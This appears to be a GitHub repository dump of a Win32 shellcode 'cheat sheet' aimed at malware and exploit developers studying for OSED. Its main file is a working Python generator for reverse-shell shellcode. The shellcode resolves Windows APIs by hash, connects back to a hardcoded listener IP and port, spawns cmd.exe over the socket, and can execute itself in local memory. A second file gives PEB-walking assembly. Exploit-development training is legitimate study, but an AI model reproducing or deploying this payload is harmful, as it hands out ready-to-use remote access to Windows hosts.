├── .github └── FUNDING.yml ├── README.md ├── shellcode_snowcra5h.py ├── w32_shellcode_snowcra5h.pdf ├── walk_peb.s └── win32_shellcode_snowcra5h.png /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: [snowcra5h] 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # win32-shellcode 2 | 3 | - snowcra5h@icloud.com 4 | - https://twitter.com/7etsuo 5 | 6 | > Win32 Shellcode CheatSheet: Your visual guide for crafting and understanding shellcode. Ideal for malware, and exploit developers 7 | 8 | ![Win32 Shellcode](https://github.com/7etsuo/win32-shellcode/blob/main/win32_shellcode_snowcra5h.png) 9 | 10 | -------------------------------------------------------------------------------- /shellcode_snowcra5h.py: -------------------------------------------------------------------------------- 1 | """ 2 | Win32 Shellcoder for OSED Exploit Development 3 | ██████ ███▄ █ ▒█████ █ █░ ▄████▄ ██▀███ ▄▄▄ ██████ ██░ ██ 4 | ▒██ ▒ ██ ▀█ █ ▒██▒ ██▒▓█░ █ ░█░▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒██ ▒ ▓██░ ██▒ 5 | ░ ▓██▄ ▓██ ▀█ ██▒▒██░ ██▒▒█░ █ ░█ ▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▓██▄ ▒██▀▀██░ 6 | ▒ ██▒▓██▒ ▐▌██▒▒██ ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▒ ██▒░▓█ ░██ 7 | ▒██████▒▒▒██░ ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒██████▒▒░▓█▒░██▓ 8 | ▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒ 9 | ░ ░▒ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░▒ ░ ░ ▒ ░▒░ ░ 10 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ 11 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 12 | Written by: snowcra5h@icloud.com (snowcra5h) 2023 13 | 14 | A good resource for replacing bad chars https://defuse.ca/online-x86-assembler.htm#disassembly2 15 | """ 16 | 17 | import ctypes, struct, numpy # pip install keystone-engine numpy 18 | from keystone import * 19 | 20 | class Sin: 21 | def __init__(self, ip=None, port=None): 22 | self.ip = ip 23 | self.port = port 24 | self.__sin_addr = "" 25 | self.__sin_port = "" 26 | 27 | if self.ip and self.port: 28 | self.__to_sin_addr() 29 | self.__to_sin_port() 30 | 31 | def __to_sin_addr(self): 32 | sin_addr = [] 33 | for block in self.ip.split("."): 34 | sin_addr.append(format(int(block), "02x")) 35 | sin_addr.reverse() 36 | self.__sin_addr = "0x" + "".join(sin_addr) 37 | 38 | def __to_sin_port(self): 39 | sin_port = format(int(self.port), "04x") 40 | self.__sin_port = "0x" + str(sin_port[2:4]) + str(sin_port[0:2]) 41 | 42 | def get_sin_addr(self) -> str: 43 | return self.__sin_addr 44 | 45 | def get_sin_port(self) -> str: 46 | return self.__sin_port 47 | 48 | class ShellCode: 49 | 50 | def __init__(self, ip, port): 51 | self.__sin = Sin(ip, port) 52 | self.__sin_addr = self.__sin.get_sin_addr() 53 | self.__sin_port = self.__sin.get_sin_port() 54 | 55 | def __ror_str(self, byte, count): 56 | binb = numpy.base_repr(byte, 2).zfill(32) 57 | while count > 0: 58 | binb = binb[-1] + binb[0:-1] 59 | count -= 1 60 | return (int(binb, 2)) 61 | 62 | def __get_hash(self, esi): 63 | edx = 0x00 64 | ror_count = 0 65 | 66 | for eax in esi: 67 | edx = edx + ord(eax) 68 | if ror_count < len(esi)-1: 69 | edx = self.__ror_str(edx, 0xd) 70 | ror_count += 1 71 | 72 | return edx 73 | 74 | def get_reverse_shell(self, debug=False) -> str: 75 | # kernel32.dll 76 | TerminateProcess = self.__get_hash("TerminateProcess") 77 | LoadLibraryA = self.__get_hash("LoadLibraryA") 78 | CreateProcessA = self.__get_hash("CreateProcessA") 79 | 80 | # ws2_32.dll 81 | WSAStartup = self.__get_hash("WSAStartup") 82 | WSASocketA = self.__get_hash("WSASocketA") 83 | WSAConnect = self.__get_hash("WSAConnect") 84 | 85 | if debug: 86 | int3 = "int3" 87 | else: 88 | int3 = "" 89 | 90 | asm = [ 91 | " start: ", 92 | f" {int3} ;", # debug 93 | " mov ebp, esp ;", 94 | " add esp, 0xfffff9f0 ;", # Avoid NULL bytes 95 | 96 | " find_kernel32: ", 97 | " xor ecx, ecx ;", # ECX = 0 98 | " mov esi,fs:[ecx+30h] ;", # ESI = &(PEB) ([FS:0x30]) 99 | " mov esi,[esi+0Ch] ;", # ESI = PEB->Ldr 100 | " mov esi,[esi+1Ch] ;", # ESI = PEB->Ldr.InInitOrder 101 | 102 | " next_module: ", # 103 | " mov ebx, [esi+8h] ;", # EBX = InInitOrder[X].base_address 104 | " mov edi, [esi+20h] ;", # EDI = InInitOrder[X].module_name 105 | " mov esi, [esi] ;", # ESI = InInitOrder[X].flink (next) 106 | " cmp [edi+12*2], cx ;", # (unicode) modulename[12] == 0x00? modulename[12] of kernel32.dll) 107 | " jne next_module ;", # No: try next module. 108 | 109 | " find_function_shorten: ", # 110 | " je find_function_shorten_bnc ;", # jump if ECX == 0 111 | 112 | " find_function_ret: ", # 113 | " pop esi ;", # POP the return address from the stack 114 | " mov [ebp+0x04], esi ;", # Save find_function address for later usage 115 | " je resolve_symbols_kernel32 ;", # 116 | 117 | " find_function_shorten_bnc: ", # 118 | " call find_function_ret ;", # Relative CALL with negative offset 119 | 120 | " find_function: ", # 121 | " pushad ;", # Save all registers. Base address of kernel32 is in EBX from (find_kernel32) 122 | " mov eax, [ebx+0x3c] ;", # Offset to PE Signature 123 | " mov edi, [ebx+eax+0x78] ;", # Export Table Directory RVA 124 | " add edi, ebx ;", # Export Table Directory VMA 125 | " mov ecx, [edi+0x18] ;", # NumberOfNames 126 | " mov eax, [edi+0x20] ;", # AddressOfNames RVA 127 | " add eax, ebx ;", # AddressOfNames VMA 128 | " mov [ebp-4], eax ;", # Save AddressOfNames VMA for later 129 | 130 | " find_function_loop: ", # 131 | " jecxz find_function_finished ;", # Jump to the end if ECX is 0 132 | " dec ecx ;", # Decrement our names counter 133 | " mov eax, [ebp-4] ;", # Restore AddressOfNames VMA 134 | " mov esi, [eax+ecx*4] ;", # Get the RVA of the symbol name 135 | " add esi, ebx ;", # Set ESI to the VMA of the current symbol name 136 | 137 | " compute_hash: ", # 138 | " xor eax, eax ;", # NULL EAX 139 | " cdq ;", # NULL EDX 140 | " cld ;", # Clear direction 141 | 142 | " compute_hash_again: ", # 143 | " lodsb ;", # Load the next byte from esi into al 144 | " test al, al ;", # Check for NULL terminator 145 | " jz compute_hash_finished ;", # If the ZF is set, we've hit the NULL term 146 | # start of replace bad chars for 0x0d 147 | " push eax ;", # Save EAX 148 | " push ecx ;", # Save ECX 149 | " xor ecx, ecx ;", # NULL ECX 150 | " add cl, 0x06 ;", # ECX = 6 151 | " add cl, 0x07 ;", # ECX = 13 (0x0d) 152 | " ror edx, cl ;", # rotate right by 13 153 | " pop ecx ;", # restore eax 154 | " pop eax ;", # restore ecx 155 | # end of replace bad chars for 0x0d 156 | # " ror edx, 0x0d ;", # (bad chars 0d) Rotate edx 13 bits to the right 157 | " add edx, eax ;", # Add the new byte to the accumulator 158 | " jne compute_hash_again ;", # Next iteration 159 | 160 | " compute_hash_finished: ", # 161 | " find_function_compare: ", # 162 | " cmp edx, [esp+0x24] ;", # Compare the computed hash with the requested hash 163 | " jnz find_function_loop ;", # If it doesn't match go back to find_function_loop 164 | " mov edx, [edi+0x24] ;", # AddressOfNameOrdinals RVA 165 | " add edx, ebx ;", # AddressOfNameOrdinals VMA 166 | " mov cx, [edx+2*ecx] ;", # Extrapolate the function's ordinal 167 | " mov edx, [edi+0x1c] ;", # AddressOfFunctions RVA 168 | " add edx, ebx ;", # AddressOfFunctions VMA 169 | " mov eax, [edx+4*ecx] ;", # Get the function RVA 170 | " add eax, ebx ;", # Get the function VMA 171 | " mov [esp+0x1c], eax ;", # Overwrite stack version of eax from pushad 172 | 173 | " find_function_finished: ", # 174 | " popad ;", # Restore registers 175 | " ret ;", # 176 | 177 | " resolve_symbols_kernel32: ", 178 | f" push {TerminateProcess} ;", # TerminateProcess hash 179 | " call dword ptr [ebp+0x04] ;", # Call find_function 180 | " mov [ebp+0x10], eax ;", # Save TerminateProcess address for later usage 181 | 182 | f" push {LoadLibraryA} ;", # LoadLibraryA hash 183 | " call dword ptr [ebp+0x04] ;", # Call find_function 184 | " mov [ebp+0x14], eax ;", # Save LoadLibraryA address for later usage 185 | 186 | f" push {CreateProcessA} ;", # CreateProcessA hash 187 | " call dword ptr [ebp+0x04] ;", # Call find_function 188 | " mov [ebp+0x18], eax ;", # Save CreateProcessA address for later usage 189 | 190 | " load_ws2_32: ", # 191 | " xor eax, eax ;", # Null EAX 192 | " mov ax, 0x6c6c ;", # Move the end of the string in AX; 193 | " push eax ;", # Push \0\0ll on the stack 194 | " push 0x642e3233 ;", # Push d.23 on the stack 195 | " push 0x5f327377 ;", # Push _2sw on the stack 196 | " push esp ;", # Push ESP to have a pointer to the string 197 | " call dword ptr [ebp+0x14] ;", # Call EAX = LoadLibrary(TEXT("ws2_32.dll")); 198 | " mov ebx, eax ;", # Move the base address of ws2_32.dll to EBX 199 | 200 | " resolve_symbols_ws2_32: ", # proceed into the resolve_symbols_ws2_32 function 201 | f" push {WSAStartup} ;", # WSAStartup hash 202 | " call dword ptr [ebp+0x04] ;", # Call find_function 203 | " mov [ebp+0x1C], eax ;", # Save WSAStartup address for later usage 204 | 205 | " resolve_symbols_WSASocketA: ", 206 | f" push {WSASocketA} ;", # WSASocketA hash 207 | " call dword ptr [ebp+0x04] ;", # Call find_function 208 | " mov [ebp+0x20], eax ;", # Save WSASocketA address for later usage 209 | 210 | " resolve_symbols_WSAConnect: ", 211 | f" push {WSAConnect} ;", # WSAConnect hash 212 | " call dword ptr [ebp+0x04] ;", # Call find_function 213 | " mov [ebp+0x24], eax ;", # Save WSAConnect address for later usage 214 | 215 | " call_WSAStartup: ", # 216 | " mov eax, esp ;", # Move ESP to EAX; eax = &esp 217 | " mov cx, 0x590 ;", # Move 0x590 to CX; 218 | " sub eax, ecx ;", # Subtract CX from EAX to avoid overwriting the structure later; 219 | # because the space gets populated by the lpWSAData struct 220 | " push eax ;", # Push lpWSAData 221 | " xor eax, eax ;", # Null EAX 222 | " mov ax, 0x0202 ;", # Move version to AX 223 | " push eax ;", # Push wVersionRequired 224 | " call dword ptr [ebp+0x1C] ;", # Call WSAStartup 225 | 226 | " call_WSASocketA: ", # 227 | " xor eax, eax ;", # Null EAX 228 | " push eax ;", # Push dwFlags 229 | " push eax ;", # Push g 230 | " push eax ;", # Push lpProtocolInfo 231 | " mov al, 0x06 ;", # Move AL, IPPROTO_TCP 232 | " push eax ;", # Push protocol 233 | " sub al, 0x05 ;", # Subtract 0x05 from AL, AL = 0x01 234 | " push eax ;", # Push type 235 | " inc eax ;", # Increase EAX, EAX = 0x02 236 | " push eax ;", # Push af 237 | " call dword ptr [ebp+0x20] ;", # Call WSASocketA; returns descriptor or -1 in EAX 238 | 239 | " call_wsaconnect: ", # 240 | " mov esi, eax ;", # Move the SOCKET descriptor to ESI 241 | " xor eax, eax ;", # Null EAX 242 | " push eax ;", # Push sin_zero[] 243 | " push eax ;", # Push sin_zero[] 244 | 245 | f" push {self.__sin_addr} ;", # Push sin_addr 246 | f" mov ax, {self.__sin_port} ;", # Move the sin_port to AX 247 | " shl eax, 0x10 ;", # Left shift EAX by 0x10 bits 248 | " add ax, 0x02 ;", # Add 0x02 (AF_INET) to AX 249 | " push eax ;", # Push sin_port & sin_family 250 | " push esp ;", # Push pointer to the sockaddr_in structure 251 | " pop edi ;", # Store pointer to sockaddr_in in EDI 252 | " xor eax, eax ;", # Null EAX 253 | " push eax ;", # Push lpGQOS 254 | " push eax ;", # Push lpSQOS 255 | " push eax ;", # Push lpCalleeData 256 | " push eax ;", # Push lpCallerData 257 | " add al, 0x10 ;", # Set AL to 0x10 258 | " push eax ;", # Push namelen 259 | " push edi ;", # Push *name 260 | " push esi ;", # Push s 261 | " call dword ptr [ebp+0x24] ;", # Call WSAConnect 262 | 263 | " create_startupinfoa: ", # Push the ESI register, holds our socket descriptor, three times 264 | " push esi ;", # Push hStdError ; basically does dup2 265 | " push esi ;", # Push hStdOutput ; 266 | " push esi ;", # Push hStdInput ; 267 | " xor eax, eax ;", # Null EAX 268 | " push eax ;", # Push lpReserved2 269 | " push eax ;", # Push cbReserved2 & wShowWindow 270 | " mov al, 0x80 ;", # Move 0x80 to AL 271 | " xor ecx, ecx ;", # Null ECX 272 | " mov cl, 0x80 ;", # Move 0x80 to CL 273 | " add eax, ecx ;", # Set EAX to 0x100 274 | " push eax ;", # Push dwFlags 275 | " xor eax, eax ;", # Null EAX 276 | " push eax ;", # Push dwFillAttribute 277 | " push eax ;", # Push dwYCountChars 278 | " push eax ;", # Push dwXCountChars 279 | " push eax ;", # Push dwYSize 280 | " push eax ;", # Push dwXSize 281 | " push eax ;", # Push dwY 282 | " push eax ;", # Push dwX 283 | " push eax ;", # Push lpTitle 284 | " push eax ;", # Push lpDesktop 285 | " push eax ;", # Push lpReserved 286 | " mov al, 0x44 ;", # Move 0x44 to AL; ?? sizeof(STARTUPINFOA) = 0x44 bytes; 287 | " push eax ;", # Push cb 288 | " push esp ;", # Push pointer to the STARTUPINFOA structure 289 | " pop edi ;", # Store pointer to STARTUPINFOA in EDI 290 | 291 | " create_cmd_string: ", # 292 | " mov eax, 0xff9a879b ;", # Move 0xff9a879b into EAX ; 'exe' 293 | " neg eax ;", # Negate EAX, EAX = 00657865; '.dmc' 294 | " push eax ;", # Push part of the "cmd.exe" string 295 | " push 0x2e646d63 ;", # Push the remainder of the "cmd.exe" string 296 | " push esp ;", # Push pointer to the "cmd.exe" string 297 | " pop ebx ;", # Store pointer to the "cmd.exe" string in EBX 298 | 299 | " call_createprocessa: ", # 300 | " mov eax, esp ;", # Move ESP to EAX 301 | " xor ecx, ecx ;", # Null ECX 302 | " mov cx, 0x390 ;", # Move 0x390 to CX 303 | " sub eax, ecx ;", # Subtract CX from EAX to avoid overwriting the structure later 304 | " push eax ;", # Push lpProcessInformation 305 | " push edi ;", # Push lpStartupInfo 306 | " xor eax, eax ;", # Null EAX 307 | " push eax ;", # Push lpCurrentDirectory 308 | " push eax ;", # Push lpEnvironment 309 | " push eax ;", # Push dwCreationFlags 310 | " inc eax ;", # Increase EAX, EAX = 0x01 (TRUE) 311 | " push eax ;", # Push bInheritHandles 312 | " dec eax ;", # Null EAX 313 | " push eax ;", # Push lpThreadAttributes 314 | " push eax ;", # Push lpProcessAttributes 315 | " push ebx ;", # Push lpCommandLine 316 | " push eax ;", # Push lpApplicationName 317 | " call dword ptr [ebp+0x18] ;", # Call CreateProcessA 318 | 319 | " call_terminate_process: ", # 320 | " xor ecx, ecx ;", # Null ECX 321 | " push ecx ;", # uExitCode 322 | " push 0xffffffff ;", # hProcess 323 | " call dword ptr [ebp+0x10] ;", # Call TerminateProcess 324 | ] 325 | return "\n".join(asm) 326 | 327 | def get_shellcode(ip: str, port: str, sc_type:str = None, debug = False) -> bytes: 328 | 329 | sc_type = sc_type # nop 330 | 331 | sc = ShellCode(ip, port) 332 | shellcode = sc.get_reverse_shell(debug) 333 | 334 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 335 | 336 | encoding, count = ks.asm(shellcode) 337 | print(f"[+] Encoded {count} Shellcode Instructions") 338 | print(encoding) 339 | 340 | sh = b"" 341 | for e in encoding: 342 | sh += struct.pack("B", e) 343 | 344 | shellcode = bytearray(sh) 345 | 346 | if debug: 347 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 348 | ctypes.c_int(len(shellcode)), 349 | ctypes.c_int(0x3000), 350 | ctypes.c_int(0x40) 351 | ) 352 | 353 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 354 | 355 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 356 | buf, 357 | ctypes.c_int(len(shellcode))) 358 | 359 | print("Shellcode located at address %s" % hex(ptr)) 360 | input("...ENTER TO EXECUTE SHELLCODE...") 361 | 362 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 363 | ctypes.c_int(0), 364 | ctypes.c_int(ptr), 365 | ctypes.c_int(0), 366 | ctypes.c_int(0), 367 | ctypes.pointer(ctypes.c_int(0))) 368 | 369 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) 370 | 371 | return sh 372 | 373 | def main(): 374 | get_shellcode(ip="192.168.45.167", port="4444", debug=True) 375 | 376 | if __name__ == "__main__": 377 | main() 378 | -------------------------------------------------------------------------------- /w32_shellcode_snowcra5h.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7etsuo/win32-shellcode/cec3bfba8edb85d3959454d489d2c3900ad4eda5/w32_shellcode_snowcra5h.pdf -------------------------------------------------------------------------------- /walk_peb.s: -------------------------------------------------------------------------------- 1 | ; █ █ 2 | ; █ █ 3 | ; █ █ 4 | ; █ █ 5 | ; █ █ 6 | ; █ █ 7 | ; █ ▄▄▄▄▄▄▄▄▄▄ █ 8 | ; ▄██▓▓▓▓▓▓▓▓▒██ 9 | ; ██▓▓▓▓▓▓▓▓▓▓▓▓▒█ 10 | ; ██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒█ 11 | ; ▄▄▄█████▓▓█████▄▄▄█████▓ ██████ █ ██ ▒█████ 12 | ; ▓ ██▒ ▓▒▓█ ▀▓ ██▒ ▓▒▒██ ▒ ██ ▓██▒▒██▒ ██ 13 | ; ▒ ▓██░ ▒░▒███ ▒ ▓██░ ▒░░ ▓██▄ ▓██ ▒██░▒██░ ██ 14 | ; ░ ▓██▓ ░ ▒▓█ ▄░ ▓██▓ ░ ▒ ██▒▓▓█ ░██░▒██ ██ 15 | ; ▒██▒ ░ ░▒████▒ ▒██▒ ░ ▒██████▒▒▒▒█████▓ ░ ████▓▒░ 16 | ; ▒█░░▀▀▀░░▀▒░▀░▀▒▀░░▀▀▀▒▀▒▓▒▀▒▀░░▒▓▒▀▒▀▒▀░▀▒░▒░▒░ 17 | ; ██░ ████░█░██░███░████░█░▒██░█░░░▒░█░█░███░█▒█▒░ 18 | ; ░█ █ ░ ░ ┌───░──░──░┐ ░░░ ░ ░ ░ ░█░█ 19 | ; █ ░ ░ │Access PEB│ ░ █░█ 20 | ; █ └─────┬────┘ █ 21 | ; █ ┌──────▼─────┐ █ 22 | ; █ │Get PEB->Ldr│ █ 23 | ; █ └──────┬─────┘ █ 24 | ; █┌──────────────────▼─────────────────┐█ 25 | ; █│ Access Ldr->InMemoryOrderModuleList│█ 26 | ; █└──────────────────┬─────────────────┘█ 27 | ; █ ┌─────────────▼───────────┐ █ 28 | ; █ │Get LDR_DATA_TABLE_ENTRY │ █ 29 | ; █ └─────┬───────────────▲───┘ █ 30 | ; █ │ no █ 31 | ; █ ┌─────────▼───────────────┴──────┐ █ 32 | ; █ │ Is BaseDllName "kernel32.dll" ?│ █ 33 | ; █ └─────────────────┬──────────────┘ █ 34 | ; █ yes █ 35 | ; █ ┌───────▼───────┐ █ 36 | ; █ │Extract DllBase│ █ 37 | ; █ └───────────────┘ █ 38 | ; ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 39 | ; x86 40 | mov ebp, esp ; Set up stack frame 41 | add esp, 0xfffff9f0 ; Adjust stack to avoid NULL bytes 42 | 43 | find_kernel32: 44 | xor ecx, ecx ; ECX = 0 45 | mov esi, fs:[ecx+30h] ; ESI = &(PEB) ([FS:0x30]) 46 | mov esi, [esi+0Ch] ; ESI = PEB->Ldr 47 | mov esi, [esi+1Ch] ; ESI = PEB->Ldr.InMemoryOrderModuleList 48 | 49 | next_module: 50 | mov ebx, [esi+10h] ; EBX = InMemoryOrderModuleList[X].BaseAddress 51 | mov edi, [esi+20h] ; EDI = InMemoryOrderModuleList[X].BaseDllName.Buffer 52 | mov esi, [esi] ; ESI = InMemoryOrderModuleList[X].InMemoryOrderLinks.Flink 53 | 54 | ; Check if 13th Unicode character is NULL (kernel32.dll) 55 | cmp word ptr [edi+12*2], 0 ; Check if 13th Unicode char is NULL (kernel32.dll) 56 | jne next_module ; If not NULL, continue to the next module 57 | 58 | ; x86-64 59 | mov rbp, rsp ; Set up stack frame 60 | add rsp, 0xfffffffffffff9f0 ; Adjust stack to avoid NULL bytes 61 | 62 | find_kernel32: 63 | xor rcx, rcx ; RCX = 0 64 | mov rsi, gs:[rcx+60h] ; RSI = &(PEB) ([GS:0x60]) 65 | mov rsi, [rsi+18h] ; RSI = PEB->Ldr 66 | mov rsi, [rsi+10h] ; RSI = PEB->Ldr.InMemoryOrderModuleList 67 | 68 | next_module: 69 | mov rbx, [rsi+10h] ; RBX = InMemoryOrderModuleList[X].BaseAddress 70 | mov rdi, [rsi+30h] ; RDI = InMemoryOrderModuleList[X].BaseDllName.Buffer 71 | mov rsi, [rsi] ; RSI = InMemoryOrderModuleList[X].Flink 72 | 73 | ; Check if 13th Unicode character is NULL (kernel32.dll) 74 | cmp word ptr [rdi+12*2], 0 ; Check if the 13th Unicode char (index 12) is NULL 75 | jne next_module ; If not NULL, continue to the next module -------------------------------------------------------------------------------- /win32_shellcode_snowcra5h.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7etsuo/win32-shellcode/cec3bfba8edb85d3959454d489d2c3900ad4eda5/win32_shellcode_snowcra5h.png --------------------------------------------------------------------------------